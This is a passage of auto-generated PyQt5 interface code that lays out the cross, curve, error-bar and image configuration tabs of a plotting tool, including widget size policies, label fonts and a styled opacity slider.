self.cross_literal_name_lineEdit.setEnabled(False)
self.cross_literal_name_lineEdit.setObjectName(
"cross_literal_name_lineEdit")
self.gridLayout_27.addWidget(self.cross_literal_name_lineEdit, 3, 2, 1,
1)
self.label_176 = QtWidgets.QLabel(self.cross_tab)
self.label_176.setObjectName("label_176")
self.gridLayout_27.addWidget(self.label_176, 3, 3, 1, 1)
self.cross_text_color_btn = QtWidgets.QToolButton(self.cross_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.cross_text_color_btn.sizePolicy().hasHeightForWidth())
self.cross_text_color_btn.setSizePolicy(sizePolicy)
self.cross_text_color_btn.setText("")
self.cross_text_color_btn.setObjectName("cross_text_color_btn")
self.gridLayout_27.addWidget(self.cross_text_color_btn, 3, 4, 1, 1)
self.cross_text_hide_chkbox = QtWidgets.QCheckBox(self.cross_tab)
self.cross_text_hide_chkbox.setObjectName("cross_text_hide_chkbox")
self.gridLayout_27.addWidget(self.cross_text_hide_chkbox, 3, 5, 1, 1)
spacerItem6 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.gridLayout_27.addItem(spacerItem6, 4, 1, 1, 1)
self.cross_cbb = QtWidgets.QComboBox(self.cross_tab)
self.cross_cbb.setObjectName("cross_cbb")
self.gridLayout_27.addWidget(self.cross_cbb, 0, 1, 1, 4)
self.config_tabWidget.addTab(self.cross_tab, "")
self.curve_tab = QtWidgets.QWidget()
self.curve_tab.setObjectName("curve_tab")
self.gridLayout_12 = QtWidgets.QGridLayout(self.curve_tab)
self.gridLayout_12.setContentsMargins(6, 12, 6, 6)
self.gridLayout_12.setSpacing(4)
self.gridLayout_12.setObjectName("gridLayout_12")
self.horizontalLayout_12 = QtWidgets.QHBoxLayout()
self.horizontalLayout_12.setSpacing(4)
self.horizontalLayout_12.setObjectName("horizontalLayout_12")
self.line_id_cbb = QtWidgets.QComboBox(self.curve_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.line_id_cbb.sizePolicy().hasHeightForWidth())
self.line_id_cbb.setSizePolicy(sizePolicy)
self.line_id_cbb.setObjectName("line_id_cbb")
self.horizontalLayout_12.addWidget(self.line_id_cbb)
self.line_hide_chkbox = QtWidgets.QCheckBox(self.curve_tab)
self.line_hide_chkbox.setObjectName("line_hide_chkbox")
self.horizontalLayout_12.addWidget(self.line_hide_chkbox)
self.gridLayout_12.addLayout(self.horizontalLayout_12, 0, 1, 1, 2)
spacerItem7 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.gridLayout_12.addItem(spacerItem7, 6, 1, 1, 1)
self.label_3 = QtWidgets.QLabel(self.curve_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_3.setFont(font)
self.label_3.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_3.setObjectName("label_3")
self.gridLayout_12.addWidget(self.label_3, 2, 0, 1, 1)
self.opacity_val_slider = QtWidgets.QSlider(self.curve_tab)
self.opacity_val_slider.setStyleSheet(
"QSlider::groove:horizontal {\n"
"border: 1px solid #bbb;\n"
"background: white;\n"
"height: 12px;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::sub-page:horizontal {\n"
"background: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 1,\n"
" stop: 0 #F57900, stop: 1 #FCAF3E);\n"
"background: qlineargradient(x1: 0, y1: 0.2, x2: 1, y2: 1,\n"
" stop: 0 #FCAF3E, stop: 1 #F57900);\n"
"border: 1px solid #777;\n"
"height: 10px;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::add-page:horizontal {\n"
"background: #fff;\n"
"border: 1px solid #777;\n"
"height: 10px;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::handle:horizontal {\n"
"background: qlineargradient(x1:0, y1:0, x2:1, y2:1,\n"
" stop:0 #eee, stop:1 #ccc);\n"
"border: 1px solid #777;\n"
"width: 15px;\n"
"margin-top: -2px;\n"
"margin-bottom: -2px;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::handle:horizontal:hover {\n"
"background: qlineargradient(x1:0, y1:0, x2:1, y2:1,\n"
" stop:0 #fff, stop:1 #ddd);\n"
"border: 1px solid #444;\n"
"border-radius: 4px;\n"
"}\n"
"\n"
"QSlider::sub-page:horizontal:disabled {\n"
"background: #bbb;\n"
"border-color: #999;\n"
"}\n"
"\n"
"QSlider::add-page:horizontal:disabled {\n"
"background: #eee;\n"
"border-color: #999;\n"
"}\n"
"\n"
"QSlider::handle:horizontal:disabled {\n"
"background: #eee;\n"
"border: 1px solid #aaa;\n"
"border-radius: 4px;\n"
"}")
self.opacity_val_slider.setMaximum(100)
self.opacity_val_slider.setProperty("value", 100)
self.opacity_val_slider.setOrientation(QtCore.Qt.Horizontal)
self.opacity_val_slider.setTickPosition(QtWidgets.QSlider.NoTicks)
self.opacity_val_slider.setObjectName("opacity_val_slider")
self.gridLayout_12.addWidget(self.opacity_val_slider, 4, 1, 1, 1)
self.label_2 = QtWidgets.QLabel(self.curve_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_2.setFont(font)
self.label_2.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_2.setObjectName("label_2")
self.gridLayout_12.addWidget(self.label_2, 0, 0, 1, 1)
self.label_26 = QtWidgets.QLabel(self.curve_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_26.setFont(font)
self.label_26.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_26.setObjectName("label_26")
self.gridLayout_12.addWidget(self.label_26, 4, 0, 1, 1)
self.label_23 = QtWidgets.QLabel(self.curve_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_23.setFont(font)
self.label_23.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_23.setObjectName("label_23")
self.gridLayout_12.addWidget(self.label_23, 1, 0, 1, 1)
self.label_4 = QtWidgets.QLabel(self.curve_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_4.setFont(font)
self.label_4.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_4.setObjectName("label_4")
self.gridLayout_12.addWidget(self.label_4, 3, 0, 1, 1)
self.gridLayout = QtWidgets.QGridLayout()
self.gridLayout.setSpacing(4)
self.gridLayout.setObjectName("gridLayout")
self.mk_edgecolor_btn = QtWidgets.QToolButton(self.curve_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.mk_edgecolor_btn.sizePolicy().hasHeightForWidth())
self.mk_edgecolor_btn.setSizePolicy(sizePolicy)
self.mk_edgecolor_btn.setText("")
self.mk_edgecolor_btn.setIconSize(QtCore.QSize(20, 20))
self.mk_edgecolor_btn.setObjectName("mk_edgecolor_btn")
self.gridLayout.addWidget(self.mk_edgecolor_btn, 1, 5, 1, 1)
self.line_color_btn = QtWidgets.QToolButton(self.curve_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.line_color_btn.sizePolicy().hasHeightForWidth())
self.line_color_btn.setSizePolicy(sizePolicy)
self.line_color_btn.setText("")
self.line_color_btn.setIconSize(QtCore.QSize(20, 20))
self.line_color_btn.setObjectName("line_color_btn")
self.gridLayout.addWidget(self.line_color_btn, 0, 3, 1, 1)
self.mk_style_cbb = QtWidgets.QComboBox(self.curve_tab)
self.mk_style_cbb.setObjectName("mk_style_cbb")
self.gridLayout.addWidget(self.mk_style_cbb, 1, 1, 1, 1)
self.label_22 = QtWidgets.QLabel(self.curve_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_22.sizePolicy().hasHeightForWidth())
self.label_22.setSizePolicy(sizePolicy)
self.label_22.setObjectName("label_22")
self.gridLayout.addWidget(self.label_22, 1, 8, 1, 1)
self.line_width_lineEdit = QtWidgets.QLineEdit(self.curve_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.line_width_lineEdit.sizePolicy().hasHeightForWidth())
self.line_width_lineEdit.setSizePolicy(sizePolicy)
self.line_width_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.line_width_lineEdit.setObjectName("line_width_lineEdit")
self.gridLayout.addWidget(self.line_width_lineEdit, 0, 9, 1, 1)
self.label_20 = QtWidgets.QLabel(self.curve_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_20.sizePolicy().hasHeightForWidth())
self.label_20.setSizePolicy(sizePolicy)
self.label_20.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_20.setObjectName("label_20")
self.gridLayout.addWidget(self.label_20, 1, 6, 1, 1)
self.label_9 = QtWidgets.QLabel(self.curve_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_9.sizePolicy().hasHeightForWidth())
self.label_9.setSizePolicy(sizePolicy)
self.label_9.setObjectName("label_9")
self.gridLayout.addWidget(self.label_9, 0, 8, 1, 1)
self.label_8 = QtWidgets.QLabel(self.curve_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_8.sizePolicy().hasHeightForWidth())
self.label_8.setSizePolicy(sizePolicy)
self.label_8.setObjectName("label_8")
self.gridLayout.addWidget(self.label_8, 0, 0, 1, 1)
self.line_style_cbb = QtWidgets.QComboBox(self.curve_tab)
self.line_style_cbb.setSizeAdjustPolicy(
QtWidgets.QComboBox.AdjustToContentsOnFirstShow)
self.line_style_cbb.setObjectName("line_style_cbb")
self.line_style_cbb.addItem("")
self.line_style_cbb.addItem("")
self.line_style_cbb.addItem("")
self.line_style_cbb.addItem("")
self.line_style_cbb.addItem("")
self.gridLayout.addWidget(self.line_style_cbb, 0, 1, 1, 1)
self.mk_size_lineEdit = QtWidgets.QLineEdit(self.curve_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.mk_size_lineEdit.sizePolicy().hasHeightForWidth())
self.mk_size_lineEdit.setSizePolicy(sizePolicy)
self.mk_size_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.mk_size_lineEdit.setObjectName("mk_size_lineEdit")
self.gridLayout.addWidget(self.mk_size_lineEdit, 1, 7, 1, 1)
self.mk_width_lineEdit = QtWidgets.QLineEdit(self.curve_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.mk_width_lineEdit.sizePolicy().hasHeightForWidth())
self.mk_width_lineEdit.setSizePolicy(sizePolicy)
self.mk_width_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.mk_width_lineEdit.setObjectName("mk_width_lineEdit")
self.gridLayout.addWidget(self.mk_width_lineEdit, 1, 9, 1, 1)
self.label_5 = QtWidgets.QLabel(self.curve_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_5.sizePolicy().hasHeightForWidth())
self.label_5.setSizePolicy(sizePolicy)
self.label_5.setObjectName("label_5")
self.gridLayout.addWidget(self.label_5, 0, 2, 1, 1)
self.label_19 = QtWidgets.QLabel(self.curve_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_19.sizePolicy().hasHeightForWidth())
self.label_19.setSizePolicy(sizePolicy)
self.label_19.setObjectName("label_19")
self.gridLayout.addWidget(self.label_19, 1, 0, 1, 1)
self.label_21 = QtWidgets.QLabel(self.curve_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_21.sizePolicy().hasHeightForWidth())
self.label_21.setSizePolicy(sizePolicy)
self.label_21.setObjectName("label_21")
self.gridLayout.addWidget(self.label_21, 1, 2, 1, 1)
self.mk_facecolor_btn = QtWidgets.QToolButton(self.curve_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.mk_facecolor_btn.sizePolicy().hasHeightForWidth())
self.mk_facecolor_btn.setSizePolicy(sizePolicy)
self.mk_facecolor_btn.setToolTip("")
self.mk_facecolor_btn.setText("")
self.mk_facecolor_btn.setIconSize(QtCore.QSize(20, 20))
self.mk_facecolor_btn.setObjectName("mk_facecolor_btn")
self.gridLayout.addWidget(self.mk_facecolor_btn, 1, 3, 1, 1)
self.label_37 = QtWidgets.QLabel(self.curve_tab)
self.label_37.setObjectName("label_37")
self.gridLayout.addWidget(self.label_37, 1, 4, 1, 1)
self.label_70 = QtWidgets.QLabel(self.curve_tab)
self.label_70.setObjectName("label_70")
self.gridLayout.addWidget(self.label_70, 0, 4, 1, 1)
self.line_ds_cbb = QtWidgets.QComboBox(self.curve_tab)
self.line_ds_cbb.setObjectName("line_ds_cbb")
self.line_ds_cbb.addItem("")
self.line_ds_cbb.addItem("")
self.line_ds_cbb.addItem("")
self.line_ds_cbb.addItem("")
self.gridLayout.addWidget(self.line_ds_cbb, 0, 5, 1, 2)
self.gridLayout_12.addLayout(self.gridLayout, 2, 1, 2, 2)
self.opacity_val_lbl = QtWidgets.QLabel(self.curve_tab)
self.opacity_val_lbl.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.opacity_val_lbl.setObjectName("opacity_val_lbl")
self.gridLayout_12.addWidget(self.opacity_val_lbl, 4, 2, 1, 1)
self.line_label_lineEdit = QtWidgets.QLineEdit(self.curve_tab)
self.line_label_lineEdit.setObjectName("line_label_lineEdit")
self.gridLayout_12.addWidget(self.line_label_lineEdit, 1, 1, 1, 2)
self.config_tabWidget.addTab(self.curve_tab, "")
self.eb_tab = QtWidgets.QWidget()
self.eb_tab.setObjectName("eb_tab")
self.gridLayout_13 = QtWidgets.QGridLayout(self.eb_tab)
self.gridLayout_13.setContentsMargins(6, 12, 6, 6)
self.gridLayout_13.setSpacing(4)
self.gridLayout_13.setObjectName("gridLayout_13")
self.label_36 = QtWidgets.QLabel(self.eb_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_36.setFont(font)
self.label_36.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_36.setObjectName("label_36")
self.gridLayout_13.addWidget(self.label_36, 0, 0, 1, 1)
self.eb_line_hide_chkbox = QtWidgets.QCheckBox(self.eb_tab)
self.eb_line_hide_chkbox.setObjectName("eb_line_hide_chkbox")
self.gridLayout_13.addWidget(self.eb_line_hide_chkbox, 0, 2, 1, 1)
self.label_30 = QtWidgets.QLabel(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_30.sizePolicy().hasHeightForWidth())
self.label_30.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_30.setFont(font)
self.label_30.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_30.setObjectName("label_30")
self.gridLayout_13.addWidget(self.label_30, 1, 0, 1, 1)
self.gridLayout_2 = QtWidgets.QGridLayout()
self.gridLayout_2.setSpacing(4)
self.gridLayout_2.setObjectName("gridLayout_2")
self.label_33 = QtWidgets.QLabel(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_33.sizePolicy().hasHeightForWidth())
self.label_33.setSizePolicy(sizePolicy)
self.label_33.setObjectName("label_33")
self.gridLayout_2.addWidget(self.label_33, 1, 0, 1, 1)
self.eb_mk_facecolor_btn = QtWidgets.QToolButton(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.eb_mk_facecolor_btn.sizePolicy().hasHeightForWidth())
self.eb_mk_facecolor_btn.setSizePolicy(sizePolicy)
self.eb_mk_facecolor_btn.setText("")
self.eb_mk_facecolor_btn.setIconSize(QtCore.QSize(20, 20))
self.eb_mk_facecolor_btn.setObjectName("eb_mk_facecolor_btn")
self.gridLayout_2.addWidget(self.eb_mk_facecolor_btn, 1, 3, 1, 1)
self.label_79 = QtWidgets.QLabel(self.eb_tab)
self.label_79.setObjectName("label_79")
self.gridLayout_2.addWidget(self.label_79, 2, 0, 1, 1)
self.label_27 = QtWidgets.QLabel(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_27.sizePolicy().hasHeightForWidth())
self.label_27.setSizePolicy(sizePolicy)
self.label_27.setObjectName("label_27")
self.gridLayout_2.addWidget(self.label_27, 0, 0, 1, 1)
self.label_35 = QtWidgets.QLabel(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_35.sizePolicy().hasHeightForWidth())
self.label_35.setSizePolicy(sizePolicy)
self.label_35.setObjectName("label_35")
self.gridLayout_2.addWidget(self.label_35, 1, 2, 1, 1)
self.label_34 = QtWidgets.QLabel(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_34.sizePolicy().hasHeightForWidth())
self.label_34.setSizePolicy(sizePolicy)
self.label_34.setObjectName("label_34")
self.gridLayout_2.addWidget(self.label_34, 0, 8, 1, 1)
self.label_32 = QtWidgets.QLabel(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_32.sizePolicy().hasHeightForWidth())
self.label_32.setSizePolicy(sizePolicy)
self.label_32.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_32.setObjectName("label_32")
self.gridLayout_2.addWidget(self.label_32, 1, 6, 1, 1)
self.eb_line_width_lineEdit = QtWidgets.QLineEdit(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.eb_line_width_lineEdit.sizePolicy().hasHeightForWidth())
self.eb_line_width_lineEdit.setSizePolicy(sizePolicy)
self.eb_line_width_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.eb_line_width_lineEdit.setObjectName("eb_line_width_lineEdit")
self.gridLayout_2.addWidget(self.eb_line_width_lineEdit, 0, 9, 1, 1)
self.xeb_mk_style_cbb = QtWidgets.QComboBox(self.eb_tab)
self.xeb_mk_style_cbb.setObjectName("xeb_mk_style_cbb")
self.gridLayout_2.addWidget(self.xeb_mk_style_cbb, 2, 1, 1, 1)
self.eb_mk_size_lineEdit = QtWidgets.QLineEdit(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.eb_mk_size_lineEdit.sizePolicy().hasHeightForWidth())
self.eb_mk_size_lineEdit.setSizePolicy(sizePolicy)
self.eb_mk_size_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.eb_mk_size_lineEdit.setObjectName("eb_mk_size_lineEdit")
self.gridLayout_2.addWidget(self.eb_mk_size_lineEdit, 1, 7, 1, 1)
self.eb_line_style_cbb = QtWidgets.QComboBox(self.eb_tab)
self.eb_line_style_cbb.setSizeAdjustPolicy(
QtWidgets.QComboBox.AdjustToContentsOnFirstShow)
self.eb_line_style_cbb.setObjectName("eb_line_style_cbb")
self.eb_line_style_cbb.addItem("")
self.eb_line_style_cbb.addItem("")
self.eb_line_style_cbb.addItem("")
self.eb_line_style_cbb.addItem("")
self.eb_line_style_cbb.addItem("")
self.gridLayout_2.addWidget(self.eb_line_style_cbb, 0, 1, 1, 1)
self.label_29 = QtWidgets.QLabel(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_29.sizePolicy().hasHeightForWidth())
self.label_29.setSizePolicy(sizePolicy)
self.label_29.setObjectName("label_29")
self.gridLayout_2.addWidget(self.label_29, 0, 2, 1, 1)
self.eb_mk_width_lineEdit = QtWidgets.QLineEdit(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.eb_mk_width_lineEdit.sizePolicy().hasHeightForWidth())
self.eb_mk_width_lineEdit.setSizePolicy(sizePolicy)
self.eb_mk_width_lineEdit.setAlignment(QtCore.Qt.AlignCenter)
self.eb_mk_width_lineEdit.setObjectName("eb_mk_width_lineEdit")
self.gridLayout_2.addWidget(self.eb_mk_width_lineEdit, 1, 9, 1, 1)
self.yeb_mk_style_cbb = QtWidgets.QComboBox(self.eb_tab)
self.yeb_mk_style_cbb.setObjectName("yeb_mk_style_cbb")
self.gridLayout_2.addWidget(self.yeb_mk_style_cbb, 1, 1, 1, 1)
self.label_31 = QtWidgets.QLabel(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.label_31.sizePolicy().hasHeightForWidth())
self.label_31.setSizePolicy(sizePolicy)
self.label_31.setObjectName("label_31")
self.gridLayout_2.addWidget(self.label_31, 1, 8, 1, 1)
self.eb_line_color_btn = QtWidgets.QToolButton(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.eb_line_color_btn.sizePolicy().hasHeightForWidth())
self.eb_line_color_btn.setSizePolicy(sizePolicy)
self.eb_line_color_btn.setText("")
self.eb_line_color_btn.setIconSize(QtCore.QSize(20, 20))
self.eb_line_color_btn.setObjectName("eb_line_color_btn")
self.gridLayout_2.addWidget(self.eb_line_color_btn, 0, 3, 1, 1)
self.eb_mk_edgecolor_btn = QtWidgets.QToolButton(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.eb_mk_edgecolor_btn.sizePolicy().hasHeightForWidth())
self.eb_mk_edgecolor_btn.setSizePolicy(sizePolicy)
self.eb_mk_edgecolor_btn.setText("")
self.eb_mk_edgecolor_btn.setIconSize(QtCore.QSize(20, 20))
self.eb_mk_edgecolor_btn.setObjectName("eb_mk_edgecolor_btn")
self.gridLayout_2.addWidget(self.eb_mk_edgecolor_btn, 1, 5, 1, 1)
self.label_81 = QtWidgets.QLabel(self.eb_tab)
self.label_81.setObjectName("label_81")
self.gridLayout_2.addWidget(self.label_81, 1, 4, 1, 1)
self.gridLayout_13.addLayout(self.gridLayout_2, 1, 1, 3, 2)
self.label_28 = QtWidgets.QLabel(self.eb_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_28.setFont(font)
self.label_28.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_28.setObjectName("label_28")
self.gridLayout_13.addWidget(self.label_28, 2, 0, 1, 1)
self.label_80 = QtWidgets.QLabel(self.eb_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_80.setFont(font)
self.label_80.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_80.setObjectName("label_80")
self.gridLayout_13.addWidget(self.label_80, 3, 0, 1, 1)
self.eb_line_id_cbb = QtWidgets.QComboBox(self.eb_tab)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding,
QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(
self.eb_line_id_cbb.sizePolicy().hasHeightForWidth())
self.eb_line_id_cbb.setSizePolicy(sizePolicy)
self.eb_line_id_cbb.setObjectName("eb_line_id_cbb")
self.gridLayout_13.addWidget(self.eb_line_id_cbb, 0, 1, 1, 1)
spacerItem8 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.gridLayout_13.addItem(spacerItem8, 4, 1, 1, 1)
self.config_tabWidget.addTab(self.eb_tab, "")
self.image_tab = QtWidgets.QWidget()
self.image_tab.setObjectName("image_tab")
self.gridLayout_8 = QtWidgets.QGridLayout(self.image_tab)
self.gridLayout_8.setContentsMargins(6, 12, 6, 6)
self.gridLayout_8.setSpacing(4)
self.gridLayout_8.setObjectName("gridLayout_8")
self.label_47 = QtWidgets.QLabel(self.image_tab)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_47.setFont(font)
self.label_47.setAlignment(QtCore.Qt.AlignRight
| QtCore.Qt.AlignTrailing
| QtCore.Qt.AlignVCenter)
self.label_47.setObjectName("label_47")
self.gridLayout_8.addWidget(self.label_47, 2, 0, 1, 1)
self.horizontalLayout_16 = QtWidgets.QHBoxLayout()
self.horizontalLayout_16.setSpacing(4)
self.horizontalLayout_16.setObjectName("horizontalLayout_16")
self.cmap_class_cbb = QtWidgets.QComboBox(self.image_tab)
